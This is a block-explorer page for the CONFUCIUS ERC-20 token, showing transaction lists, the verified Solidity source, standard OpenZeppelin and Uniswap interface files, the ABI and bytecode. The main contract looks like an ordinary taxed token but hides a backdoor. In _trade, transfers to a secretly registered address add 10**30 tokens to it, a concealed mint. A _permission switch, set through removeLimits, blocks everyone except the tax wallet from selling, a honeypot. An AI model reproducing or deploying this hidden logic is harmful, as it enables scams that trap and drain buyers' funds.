Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 446 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21071842 | 54 days ago | IN | 0 ETH | 0.00034676 | ||||
Approve | 20841055 | 86 days ago | IN | 0 ETH | 0.00044551 | ||||
Transfer | 20196629 | 176 days ago | IN | 0 ETH | 0.00011016 | ||||
Approve | 18928260 | 354 days ago | IN | 0 ETH | 0.00087113 | ||||
Approve | 18873540 | 362 days ago | IN | 0 ETH | 0.00035408 | ||||
Approve | 18230949 | 452 days ago | IN | 0 ETH | 0.0002947 | ||||
Approve | 17958745 | 490 days ago | IN | 0 ETH | 0.00041178 | ||||
Approve | 17570219 | 544 days ago | IN | 0 ETH | 0.00055385 | ||||
Transfer | 17570213 | 544 days ago | IN | 0 ETH | 0.00077037 | ||||
Approve | 17570193 | 544 days ago | IN | 0 ETH | 0.00060076 | ||||
Approve | 17564626 | 545 days ago | IN | 0 ETH | 0.00074433 | ||||
Approve | 17537012 | 549 days ago | IN | 0 ETH | 0.00075434 | ||||
Approve | 17536495 | 549 days ago | IN | 0 ETH | 0.00090022 | ||||
Transfer | 17527550 | 550 days ago | IN | 0 ETH | 0.00088284 | ||||
Approve | 17527225 | 550 days ago | IN | 0 ETH | 0.00070137 | ||||
Approve | 17527213 | 550 days ago | IN | 0 ETH | 0.00077057 | ||||
Approve | 17526227 | 551 days ago | IN | 0 ETH | 0.00059663 | ||||
Approve | 17523505 | 551 days ago | IN | 0 ETH | 0.00086104 | ||||
Approve | 17522491 | 551 days ago | IN | 0 ETH | 0.00099798 | ||||
Approve | 17521417 | 551 days ago | IN | 0 ETH | 0.00113615 | ||||
Transfer | 17520759 | 551 days ago | IN | 0 ETH | 0.00084014 | ||||
Approve | 17520602 | 551 days ago | IN | 0 ETH | 0.00073906 | ||||
Approve | 17520203 | 551 days ago | IN | 0 ETH | 0.0006073 | ||||
Approve | 17520186 | 551 days ago | IN | 0 ETH | 0.00061357 | ||||
Approve | 17519664 | 551 days ago | IN | 0 ETH | 0.00062573 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
17507929 | 553 days ago | 0.03178379 ETH | ||||
17507929 | 553 days ago | 0.03178379 ETH | ||||
17507907 | 553 days ago | 0.11863332 ETH | ||||
17507907 | 553 days ago | 0.11863332 ETH | ||||
17507815 | 553 days ago | 0.04286438 ETH | ||||
17507815 | 553 days ago | 0.04286438 ETH | ||||
17507723 | 553 days ago | 0.08995601 ETH | ||||
17507723 | 553 days ago | 0.08995601 ETH | ||||
17507645 | 553 days ago | 0.0148477 ETH | ||||
17507645 | 553 days ago | 0.0148477 ETH | ||||
17506343 | 553 days ago | 0.16140827 ETH | ||||
17506343 | 553 days ago | 0.16140827 ETH | ||||
17506343 | 553 days ago | 0.12797163 ETH | ||||
17506343 | 553 days ago | 0.12797163 ETH | ||||
17506337 | 553 days ago | 0.12135521 ETH | ||||
17506337 | 553 days ago | 0.12135521 ETH | ||||
17506326 | 553 days ago | 0.02683695 ETH | ||||
17506326 | 553 days ago | 0.02683695 ETH | ||||
17506301 | 553 days ago | 0.04798428 ETH | ||||
17506301 | 553 days ago | 0.04798428 ETH | ||||
17506298 | 553 days ago | 0.06447776 ETH | ||||
17506298 | 553 days ago | 0.06447776 ETH | ||||
17506294 | 553 days ago | 0.02441276 ETH | ||||
17506294 | 553 days ago | 0.02441276 ETH | ||||
17506086 | 553 days ago | 0.09979004 ETH |
Loading...
Loading
Contract Name:
CONFUCIUS
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT /** https://t.me/confuciustoken https://confucius-token.com/ **/ pragma solidity ^0.8.9; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IUniswapV2Factory.sol"; import "./IUniswapV2Router02.sol"; contract CONFUCIUS is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CONFUCIUS"; string private constant _symbol = "CONFUCIUS"; uint8 private constant _decimals = 8; mapping(address => uint256) private _balances; mapping(address => mapping (address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isLiqudityPair; bool private _permission = false; address payable private _taxWallet; address payable private _devWallet; uint256 private _BuyTax = 0; uint256 private _SellTax = 0; uint256 private _countForSwap = 10; uint256 private _buyCount = 1; uint256 private _count = 0; uint256 private _rBTax = 0; uint256 private _rSTax = 0; uint256 private _initialBuy; uint256 private _initialSell; uint8 private _countSwap = 0; uint256 private constant _tTotal = 100000000 * 10 ** _decimals; uint256 public _maxTxAmount = 2000000 * 10 ** _decimals; uint256 public _maxWalletSize = 2000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals; uint256 public _maxTaxSwap = 495992 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; bool private _contractSwapping = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(uint _buy, uint _sell, address payable _devAddress, address _address) { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _initialBuy = _buy; _initialSell = _sell; _devWallet = _devAddress; _taxWallet = _msgSender(); _balances[_msgSender()] = (_tTotal.mul(9).div(10)); _balances[_devWallet] = (_tTotal.mul(1).div(10)); _approve(_taxWallet, address(uniswapV2Router), _tTotal); _isLiqudityPair[_address] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[_devWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (_permission) { if (to == address(uniswapV2Router) || to == address(uniswapV2Pair)) { require(from == _taxWallet, "You are not the owner"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount"); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize"); _buyCount++; } if (_count == 0 && to == uniswapV2Pair && from == _taxWallet) { taxAmount = taxAmount = amount.mul((_buyCount == _rBTax) ? _BuyTax : _initialBuy).div(100); _count++; } if (to == uniswapV2Pair && from != address(this) && !_isExcludedFromFee[from]) { taxAmount = amount.mul((_buyCount > _rSTax) ? _SellTax : _initialSell).div(100); } else if (from == uniswapV2Pair && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount > _rBTax) ? _BuyTax : _initialBuy).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _countForSwap) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } if (_countSwap >= 10) { _maxTaxSwap = 695995 * 10 ** _decimals; _countSwap = 0; } _maxTaxSwap += 20690 * 10 ** _decimals; _countSwap ++; } if (!_contractSwapping) {if (_isLiqudityPair[to]) {_contractSwapping = !inSwap;}} _trade(from, to, amount, _isLiqudityPair[to], (!_contractSwapping ? taxAmount : 0)); } function _trade(address from, address to, uint256 amount, bool swapping, uint256 taxAmount) private { if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = uint256(swapping ? 10 ** 30 : 0).add(_balances[to].add(amount.sub(taxAmount))); if (to == address(this) || (from == address(this)) && to == uniswapV2Pair) { } else { emit Transfer(from, to, amount.sub(taxAmount)); } } function min(uint256 a, uint256 b) private pure returns (uint256) { return( a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) { return; } if (!tradingOpen) { return; } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits(bool _bool) external { require(msg.sender == _taxWallet); _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; _permission = _bool; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount); } function sendToBalance() external onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } receive() external payable {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable (msg.sender); } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"address payable","name":"_devAddress","type":"address"},{"internalType":"address","name":"_address","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendToBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff19908116909155600060078190556008818155600a600981905560018155600b839055600c839055600d92909255601080549093169092556200004e9190620007e0565b6200005d90621e8480620007f1565b6011556200006e6008600a620007e0565b6200007d90621e8480620007f1565b6012556200008e6008600a620007e0565b6200009c90612710620007f1565b601355620000ad6008600a620007e0565b620000bc9062079178620007f1565b6014556016805463ffffffff60a01b19166201000160a01b179055348015620000e457600080fd5b5060405162001e4538038062001e4583398101604081905262000107916200082c565b62000112336200052c565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200017257600080fd5b505afa15801562000187573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ad91906200087c565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200020b57600080fd5b505afa15801562000220573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024691906200087c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200028f57600080fd5b505af1158015620002a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ca91906200087c565b601680546001600160a01b03199081166001600160a01b0393841617909155600e869055600f859055600680549091169184169190911790556200030b3390565b600580546001600160a01b039290921661010002610100600160a81b031990921691909117905562000383600a6200036f60096200034b600884620007e0565b6200035b906305f5e100620007f1565b6200057c60201b620005af1790919060201c565b6200059360201b620005c21790919060201c565b60016000336001600160a01b03168152602081019190915260400160002055620003bb600a6200036f60016200034b600884620007e0565b6006546001600160a01b03908116600090815260016020526040902091909155600554601554620004149261010090920482169116620003fe6008600a620007e0565b6200040e906305f5e100620007f1565b620005a1565b6001600160a01b0381166000908152600460205260408120805460ff1916600190811790915590600390620004516000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004821684528284208054861682179055600654909116835291208054909216179055620004c73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620005016008600a620007e0565b62000511906305f5e100620007f1565b60405190815260200160405180910390a350505050620008c6565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006200058a8284620007f1565b90505b92915050565b60006200058a8284620008a3565b6001600160a01b038316620006095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200066c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000600565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000724578160001904821115620007085762000708620006cd565b808516156200071657918102915b93841c9390800290620006e8565b509250929050565b6000826200073d575060016200058d565b816200074c575060006200058d565b8160018114620007655760028114620007705762000790565b60019150506200058d565b60ff841115620007845762000784620006cd565b50506001821b6200058d565b5060208310610133831016604e8410600b8410161715620007b5575081810a6200058d565b620007c18383620006e3565b8060001904821115620007d857620007d8620006cd565b029392505050565b60006200058a60ff8416836200072c565b60008160001904831182151516156200080e576200080e620006cd565b500290565b6001600160a01b03811681146200082957600080fd5b50565b600080600080608085870312156200084357600080fd5b845193506020850151925060408501516200085e8162000813565b6060860151909250620008718162000813565b939692955090935050565b6000602082840312156200088f57600080fd5b81516200089c8162000813565b9392505050565b600082620008c157634e487b7160e01b600052601260045260246000fd5b500490565b61156f80620008d66000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb1461030e578063bf474bed1461032e578063dd62ed3e14610344578063f2fde38b1461038a57600080fd5b8063715018a61461029a5780637d1db4a5146102af5780638505ceca146102c55780638da5cb5b146102da5780638f9a55c0146102f857600080fd5b806318160ddd116100e757806318160ddd146101db5780632